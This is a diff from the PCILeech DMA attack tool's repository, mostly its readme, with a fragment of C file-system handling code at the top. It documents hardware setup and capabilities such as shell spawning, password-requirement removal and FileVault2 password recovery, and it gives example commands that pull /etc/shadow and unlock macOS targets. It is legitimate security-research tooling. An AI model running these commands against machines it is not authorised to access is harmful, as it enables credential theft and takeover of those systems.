pk->dataOut[0] = VfsCreate(pk, fnk, pop);
|
||||
return;
|
||||
}
|
||||
if(pop->op == VFS_OP_CMD_DELETE) {
|
||||
pk->dataOut[0] = VfsDelete(pk, fnk, pop);
|
||||
return;
|
||||
}
|
||||
}
|
||||
159
readme.md
159
readme.md
@@ -1,12 +1,44 @@
|
||||
PCILeech Summary:
|
||||
=================
|
||||
The PCILeech use the USB3380 chip in order to read from and write to the memory of a target system. This is achieved by using DMA over PCI Express. No drivers are needed on the target system. The USB3380 is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel. Reading 8GB of memory from the target system take around one (1) minute. The PCILeech hardware is connected with USB3 to a controlling computer running the PCILeech program.
|
||||
PCILeech is also capable of inserting a wide range of kernel modules into the targeted kernels - allowing for pulling and pushing files, remove the logon password requirement, loading unsigned drivers, executing code and spawn system shells.
|
||||
The software is written in visual studio and runs on Windows 7/Windows 10. Supported target systems are currently the x64 versions of: Linux, FreeBSD, macOS and Windows.
|
||||
PCILeech uses PCIe hardware devices to read and write from the target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system.
|
||||
|
||||
PCILeech supports multiple hardware. Currently only the USB3380 hardware is publically available. The USB3380 is only able to read 4GB of memory natively, but is able to read all memory if a kernel module (KMD) is first inserted into the target system kernel.
|
||||
|
||||
PCILeech is also capable of inserting a wide range of kernel implants into the targeted kernels - allowing for easy access to live ram and the file system via a "mounted drive". It is also possible to remove the logon password requirement, loading unsigned drivers, executing code and spawn system shells. The software is written in visual studio and runs on Windows 7/Windows 10. Supported target systems are currently the x64 versions of: Linux, FreeBSD, macOS and Windows.
|
||||
|
||||
<img src="https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_mbp.jpg" height="150"/><img src="https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_m2.jpg" height="150"/><img src="https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_shadow.jpg" height="150"/><img src="https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_dump.gif" height="150"/><img src="https://gist.githubusercontent.com/ufrisk/c5ba7b360335a13bbac2515e5e7bb9d7/raw/2df37be67047e19ea2c3f73be67a0ba06fea203d/_gh_mount.jpg" height="150"/>
|
||||
|
||||
Capabilities:
|
||||
=============
|
||||
* Retrieve memory from the target system at >150MB/s.
|
||||
* Write data to the target system memory.
|
||||
* 4GB memory can be accessed in native DMA mode.
|
||||
* ALL memory can be accessed if kernel module (KMD) is loaded.
|
||||
* Mount live RAM as file [Linux, Windows, macOS].
|
||||
* Mount file system as drive [Linux, Windows, macOS].
|
||||
* Execute kernel code on the target system.
|
||||
* Spawn system shell [Windows].
|
||||
* Spawn any executable [Windows].
|
||||
* Load unsigned drivers [Windows].
|
||||
* Pull files [Linux, FreeBSD, Windows, macOS].
|
||||
* Push files [Linux, Windows, macOS].
|
||||
* Patch / Unlock (remove password requirement) [Windows, macOS].
|
||||
* Easy to create own kernel shellcode and/or custom signatures.
|
||||
* Even more features not listed here ...
|
||||
|
||||
Installing PCILeech:
|
||||
====================
|
||||
Please ensure you do have the most recent version of PCILeech by visiting the PCILeech github repository at: https://github.com/ufrisk/pcileech
|
||||
|
||||
Clone the PCILeech Github repository. The binaries are found in pcileech_files and should work on Windows 7 and Windows 10 64-bit versions. Please copy all files from pcileech_files since some files contains additional modules and signatures.
|
||||
|
||||
The Google Android USB driver also have to be installed. Download the Google Android USB driver from: http://developer.android.com/sdk/win-usb.html#download Unzip the driver. Open Device Manager. Right click on the computer, choose add legacy hardware. Select install the hardware manually. Click Have Disk. Navigate to the Android Driver, select android_winusb.inf and install. The PCILeech lies about being a Google Glass so that the Android USB driver may be used to access the PCILeech hardware from Windows.
|
||||
|
||||
To mount live ram and target file system as drive in Windows the Dokany file system library must be installed. Please download and install the latest version of Dokany at: https://github.com/dokan-dev/dokany/releases/latest
|
||||
|
||||
Hardware:
|
||||
=========
|
||||
PCILeech is dependant on the PLX Technologies USB3380 chip. The actual chip can be purchased for around $15, but it's more convenient to purchase a development board on which the chip is already mounted. Development boards can be purchased from BPlus Technology, or on eBay / Ali Express. Please note that adapters may be required too depending on your requirements.
|
||||
=================
|
||||
PCILeech use the PLX Technologies USB3380 chip. The actual chip can be purchased for around $15, but it's more convenient to purchase a development board on which the chip is already mounted. Development boards can be purchased from BPlus Technology, or on eBay / Ali Express. Please note that adapters may be required too depending on your requirements. In addition to the USB3380 PCILeech also supports not yet released FPGA based hardware.
|
||||
|
||||
http://www.bplus.com.tw/PLX.html
|
||||
|
||||
@@ -29,7 +61,7 @@ Recommended adapters:
|
||||
Please note that other adapters may also work.
|
||||
|
||||
Flashing Hardware:
|
||||
===============================
|
||||
==================
|
||||
In order to turn the USB3380 development board into a PCILeech device it must be flashed. Flashing may be done in Windows 10 (as administrator) or in Linux (as root). The board must be connected to the system via PCIe when performing the initial flash.
|
||||
|
||||
To flash in Windows 10 unzip all contents of the ` flash.zip ` archive found in ` pcileech_files `. Run ` PCILeechFlash_Installer.exe `and follow the instructions.
|
||||
@@ -38,53 +70,22 @@ Flashing in 32-bit Windows or in Windows 7 is not supported.
|
||||
|
||||
If flashing fails or if Linux is preferred please see [pcileech_flash/linux](pcileech_flash/linux) for instructions.
|
||||
|
||||
Installing PCILeech:
|
||||
====================
|
||||
Please ensure you do have the most recent version of PCILeech by visiting the PCILeech github repository at: https://github.com/ufrisk/pcileech
|
||||
|
||||
Clone the PCILeech Github repository. The binaries are found in pcileech_files and should work on Windows 7 and Windows 10 64-bit versions. Please copy all files from pcileech_files since some files contains additional modules and signatures.
|
||||
|
||||
The Google Android USB driver also needs to be installed. Download the Google Android USB driver from: http://developer.android.com/sdk/win-usb.html#download Unzip the driver. Open Device Manager. Right click on the computer, choose add legacy hardware. Select install the hardware manually. Click Have Disk. Navigate to the Android Driver, select android_winusb.inf and install. The PCILeech lies about being a Google Glass so that the Android USB driver may be used to access the PCILeech hardware from Windows.
|
||||
|
||||
Generating Signatures:
|
||||
======================
|
||||
PCILeech comes with built in signatures for Linux, FreeBSD and macOS. For Windows 8.1 and higher two full pages of driver code is needed to hijack the kernel. In order to avoid copyright issues the end user has to generate these signatures by themselves using the pcileech_gensig.exe program. The user needs to point to a valid ntfs.sys file in order to generate a signature. Alternatively it is possible to use the win10_x64 generic built-in signature.
|
||||
|
||||
Capabilities:
|
||||
=============
|
||||
Users should be able to extend PCILeech easily by writing own kernel shellcode modules and/or creating custom signatures used to patch target system memory. Some of the current capabilies are listed below:
|
||||
* Retrieve memory from the target system at >150MB/s.
|
||||
* Write data to the target system memory.
|
||||
* 4GB memory can be accessed in native DMA mode.
|
||||
* ALL memory can be accessed if kernel module (KMD) is loaded.
|
||||
* Execute kernel code on the target system.
|
||||
* Spawn system shell [Windows].
|
||||
* Spawn any executable [Windows].
|
||||
* Load unsigned drivers [Windows].
|
||||
* Pull files [Linux, FreeBSD, Windows, macOS].
|
||||
* Push files [Linux, Windows, macOS].
|
||||
* Patch / Unlock (remove password requirement) [Windows, macOS].
|
||||
|
||||
Limitations/Known Issues:
|
||||
=========================
|
||||
* Read and write errors on some hardware. Try "pcileech.exe testmemreadwrite -min 0x1000" in order to test memory reads and writes against the physical address 0x1000 (or any other address) in order to confirm. If issues exists downgrading to USB2 may help.
|
||||
* Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10 with Virtualization based security features enabled does not work fully - this is however not the default setting in Windows 10.
|
||||
* Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails.
|
||||
* Linux might also not work if some virtualization based features are enabled.
|
||||
* Linux based on the 4.8 kernel usually does not work. As an alternative, if target root access exists, compile and insert .ko (pcileech_kmd/linux). If the system is EFI booted the LINUX_X64_EFI signature may work for 4.8 based kernels and later.
|
||||
* Windows Vista: some shellcode modules such as wx64_pscmd does not work.
|
||||
* Windows 7: signatures are not published.
|
||||
|
||||
Examples:
|
||||
=========
|
||||
Load macOS kernel module:
|
||||
* ` pcileech.exe kmdload -kmd macos `
|
||||
|
||||
Remove macOS password requirement, requires that the KMD is loaded at an address. In this example 0x11abc000 is used.
|
||||
Mount target system live RAM and file system, requires that a KMD is loaded. In this example 0x11abc000 is used.
|
||||
* ` pcileech.exe mount -kmd 0x11abc000 `
|
||||
|
||||
Remove macOS password requirement, requires a KMD is loaded. In this example 0x11abc000 is used.
|
||||
* ` pcileech.exe macos_unlock -kmd 0x11abc000 -0 1 `
|
||||
|
||||
Mount Linux target system live RAM and file system without pre-loading a KMD.
|
||||
* ` pcileech.exe mount -kmd LINUX_X64_46 `
|
||||
|
||||
Retrieve the file /etc/shadow from a Linux system without pre-loading a KMD.
|
||||
* ` pcileech.exe lx64_filepull -kmd LINUX_X64 -s /etc/shadow -out c:\temp\shadow `
|
||||
* ` pcileech.exe lx64_filepull -kmd LINUX_X64_46 -s /etc/shadow -out c:\temp\shadow `
|
||||
|
||||
Show help for the lx64_filepull kernel implant.
|
||||
* ` pcileech.exe lx64_filepull -help `
|
||||
@@ -113,55 +114,41 @@ Force dump memory below 4GB including accessible memory mapped devices using mor
|
||||
Exploit a vulnerable mac to retrieve the FileVault2 password.
|
||||
* ` pcileech.exe mac_fvrecover `
|
||||
|
||||
Receive PCIe TLPs (Transaction Layer Packets) and print them on screen (correctly configured FPGA dev board required).
|
||||
* ` pcileech.exe tlp -vv -wait 1000 `
|
||||
|
||||
Generating Signatures:
|
||||
======================
|
||||
PCILeech comes with built in signatures for Windows, Linux, FreeBSD and macOS. For Windows 8.1 or later it is also possible to use the pcileech_gensig.exe program to generate alternative signatures.
|
||||
|
||||
Limitations/Known Issues:
|
||||
=========================
|
||||
* Read and write errors on some hardware with the USB3380. Try `pcileech.exe testmemreadwrite -min 0x1000` to test memory reads and writes against the physical address 0x1000 (or any other address) in order to confirm. If issues exists downgrading to USB2 may help.
|
||||
* Does not work if the OS uses the IOMMU/VT-d. This is the default on macOS (unless disabled in recovery mode). Windows 10 with Virtualization based security features enabled does not work fully - this is however not the default setting in Windows 10 or Linux.
|
||||
* Some Linux kernels does not work. Sometimes a required symbol is not exported in the kernel and PCILeech fails.
|
||||
* Linux based on the 4.8 kernel and later might not work with the USB3380 hardware. As an alternative, if target root access exists, compile and insert .ko (pcileech_kmd/linux). If the system is EFI booted an alternative signature exists.
|
||||
* Windows Vista: some shellcode modules such as wx64_pscmd does not work.
|
||||
* Windows 7: signatures are not published.
|
||||
|
||||
Building:
|
||||
=========
|
||||
The binaries are found in the pcileech_files folder. If one wish to build an own version it is possible to do so. Compile the pcileech and pcileech_gensig projects from within Visual Studio. Tested with Visual Studio 2015. To compile kernel- and shellcode, located in the pcileech_shellcode project, please look into the individual files for instructions. These files are usually compiled command line.
|
||||
|
||||
Links:
|
||||
======
|
||||
* Blog: http://blog.frizk.net
|
||||
* Twitter: https://twitter.com/UlfFrisk
|
||||
* YouTube: https://www.youtube.com/channel/UC2aAi-gjqvKiC7s7Opzv9rg
|
||||
|
||||
Changelog:
|
||||
==========
|
||||
v1.0
|
||||
* Initial release.
|
||||
|
||||
v1.1
|
||||
* core: help for actions and kernel implants.
|
||||
* core: search for signatures (do not patch).
|
||||
* core: signature support for wildcard and relative offsets in addition to fixed offsets.
|
||||
* implant: load unsigned drivers into Windows kernel [wx64_driverload_svc].
|
||||
* signature: generic Windows 10 (Unstable/Experimental) [win10_x64].
|
||||
* signature: Windows 10 updated.
|
||||
* signature: Linux unlock added.
|
||||
* other: firmware flash support without PLX SDK.
|
||||
* other: various bug fixes.
|
||||
v1.1-v1.5
|
||||
* various updates. please see individual relases for more information.
|
||||
|
||||
v1.2
|
||||
* core: FreeBSD support.
|
||||
* implant: pull file from FreeBSD [fbsdx64_filepull]
|
||||
* signature: Windows 10 updated.
|
||||
* signature: macOS Sierra added.
|
||||
* other: various bug fixes and stability improvements.
|
||||
|
||||
v1.3
|
||||
* core: basic linux 4.8 support.
|
||||
* core: mac_fvrecover - retrieve filevault2 password from locked mac.
|
||||
* core: stability improvements for USB2 and new options [-out none, -usb2, -iosize, -v]
|
||||
* implant: pull large files from target [wx64_filepull, mac_filepull, lx64_filepull].
|
||||
* implant: spawn cmd in user context [wx64_pscmd_user].
|
||||
* implant: stability improvements for Win8+ [wx64_pscreate, wx64_pscmd, wx64_pscmd_user].
|
||||
* other: load kmd by compiling and inserting .ko on linux [ pcileech_kmd/linux ].
|
||||
* other: firmware flash support in Windows.
|
||||
|
||||
v1.4
|
||||
* core: linux 4.8 efi support [-kmd linux_x64_efi] [http://blog.frizk.net/2017/01/attacking-uefi-and-linux.html].
|
||||
* other: linux stability fixes.
|
||||
|
||||
v1.5
|
||||
* core: Win10 generic HAL attack stabilized (-sig win10_x64)
|
||||
* signature: macOS Sierra updated.
|
||||
* signature: Windows 10 updated.
|
||||
* other: bug fix - memory write in macOS.
|
||||
* other: firmware flash fixes for PP3380 device.
|
||||
|
||||
Latest:
|
||||
* signature: Windows 10 Creators Update.
|
||||
* signature: macOS Sierra updated.
|
||||
v2.0
|
||||
* mount target system live RAM and file system as drive.
|
||||
* substantial refactorings to support future multiple hardware devices.
|
||||
* signature: Linux 4.10 kernel support in LINUX_X64_EFI signature.
|
||||
|
||||
Reference in New Issue
Block a user